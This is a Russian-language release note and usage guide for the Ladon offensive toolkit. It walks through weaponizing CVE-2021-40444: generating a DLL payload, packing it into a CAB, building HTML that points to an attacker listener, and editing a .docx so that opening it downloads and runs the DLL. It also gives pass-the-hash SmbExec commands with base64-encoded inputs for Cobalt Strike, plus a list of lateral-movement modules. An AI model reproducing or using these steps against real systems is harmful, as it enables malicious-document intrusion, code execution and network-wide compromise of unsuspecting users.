
Инструментарий для эксплуатации уязвимости CVE-2021-40444 — удаленного выполнения кода MSHTML, включающий генерацию DLL-полезной нагрузки, создание документов Office и модули бокового перемещения (SmbExec, WmiExec) для тестирования на проникновение.
8 сентября по пекинскому времени CERT NSFOCUS опубликовал уведомление Microsoft о безопасности, раскрывающее уязвимость удаленного выполнения кода Microsoft MSHTML. Злоумышленник может создать вредоносный элемент управления ActiveX для использования в документах Microsoft Office, использующих механизм браузерного рендеринга. Успешно обманув пользователя и заставив его открыть вредоносный документ, злоумышленник может выполнить произвольный код в целевой системе с правами данного пользователя. Microsoft отметила, что уязвимость уже используется в реальных атаках, поэтому соответствующим пользователям следует принять меры защиты.
MSHTML (также известный как Trident) — это механизм браузера Internet Explorer от Microsoft, который также используется приложениями Office для отображения веб-содержимого в документах Word, Excel или PowerPoint. Элементы управления ActiveX являются частью COM-архитектуры Microsoft и широко используются в пакете Office и браузере Internet Explorer. С помощью ActiveX можно взаимодействовать с компонентами MSHTML.
Включает Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022
Ladon 8.9 2021.9.14 [+]CVE-2021-40444 Уязвимость удаленного выполнения кода Microsoft MSHTML, модуль эксплуатации через документы Office Затронутые версии: включая Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022 [+]CmdDll Преобразование cmd в DLL (полезная нагрузка DLL для выполнения команд при 0-day уязвимостях Windows, может напрямую подключаться к CobaltStrike через powershell) Уязвимости переполнения, такие как MS17010, локальное повышение привилегий CVE-2021-1675 и т.д., не переполнение, такие как последняя уязвимость Office CVE-2021-40444 и т.д.
Ladon 8.8 2021.911 [+]SmbExec Выполнение NTLM-HASH без интерактивного вывода [u]GetInfo Добавлена информация о виртуальных машинах Vmware [u]OsScan Добавлено распознавание маршрутизаторов Vigor Router [u]Добавлено распознавание виртуальных машин Xen\VBOX\Hybrid\Parallels [+]GetInfo Добавлены cmdkey, RrpLog, установленные драйверы, список программ, недавние файлы и т.д. [+]GetInfo Добавлены GUID, CPUID, ID диска, обнаружение бэкдоров автозапуска (DLL, реестр и т.д.) [+]GetInfo2 Добавлено получение информации об установленных патчах через WMI [+]Информация по умолчанию Добавлено выделение свободного места на диске C менее 2 ГБ
Usage:
Ladon CmdDll x86 calc
Ladon CmdDll x64 calc
Ladon CmdDll b64x86 YwBhAGwAYwA=
Ladon CmdDll b64x64 YwBhAGwAYwA=
Пожалуйста, используйте соответствующую команду CMD для создания DLL в зависимости от ситуации. Пример — запуск калькулятора.
Usage:
Ladon CVE-2021-40444 MakeCab poc.dll
Ladon CVE-2021-40444 MakeHtml http://192.168.1.8
Примечание: для этого модуля требуется использовать Ladon40.exe
Win10 x64 Office 2019
Подойдет любая пробная версия, активация не обязательна. Если загружен IMG, переименуйте его в ZIP и извлеките для установки.
Поскольку цель — Win10 X64, используем 64-битную DLL. Команда: Ladon CVE-2021-40444 MakeCab sc64.dll
Генерация html, URL должен указывать на адрес, прослушиваемый Ladon
Образец от 10 сентября уже отправлен в K8小密圈. Измените расширение docx на cab или zip, чтобы отредактировать файл rels, указав адрес прослушивания Ladon — poc.html, сохраните и переименуйте обратно в .docx
При выполнении файла doc в Windows 10 через Ladon можно увидеть весь процесс запроса: docx сначала обращается к html, по уязвимости загружается инкапсулированный CAB-файл, через CPL выполняется установка INF, загружается наша DLL, демонстрирующая функцию открытия калькулятора.
Load SmbExec
Usage:
Ladon SmbExec host user pass cmd whoami
Ladon SmbExec host user pass b64cmd dwBoAG8AYQBtAGkA
При выполнении SmbExec в оболочке Cobalt Strike с параметрами, содержащими пробелы и кавычки, возникают проблемы с экранированием CS. Использовать обычную команду CMD неудобно, поэтому я добавил параметр b64cmd для использования под CS (этот метод использовался в BypassUac несколько месяцев назад, многие не понимают, зачем его применять; зачем выполнять лишнее шифрование, если можно просто использовать CMD? Когда команда CMD содержит множество экранированных символов, вы поймете — преобразование через CS в CMD и обратно в нормальную CMD очень хлопотно). Команду b64cmd можно зашифровать через LadonGUI версии 8.2 и выше с помощью Base64Unicode.
| ID | Название модуля | Описание | Пример использования |
|---|---|---|---|
| 1 | WmiExec | Выполнение команды через порт 135 | http://k8gege.org/Ladon/WinShell.html |
| 2 | PsExec | Выполнение команды через порт 445 | http://k8gege.org/Ladon/WinShell.html |
| 3 | AtExec | Выполнение команды через порт 445 | http://k8gege.org/Ladon/WinShell.html |
| 4 | SshExec | Выполнение команды через порт 22 | http://k8gege.org/Ladon/WinShell.html |
| 5 | JspShell | Однострочная команда Jsp для выполнения | http://k8gege.org/p/ladon_cs_shell.html |
| 6 | WebShell | Выполнение команды через WebShell | http://k8gege.org/Ladon/webshell.html |
| 7 | WinrmExec | Выполнение команды через порт 5895 | http://k8gege.org/Ladon/WinrmExec.html |
| 8 | SmbExec | Выполнение команды через HASH на порт 445 | http://k8gege.org/Ladon/SmbExec.html |
PowerLadon: https://github.com/k8gege/PowerLadon Предыдущие версии: http://github.com/k8gege/Ladon/releases Версия 7.0: http://k8gege.org/Download Версия 8.9: K8小密圈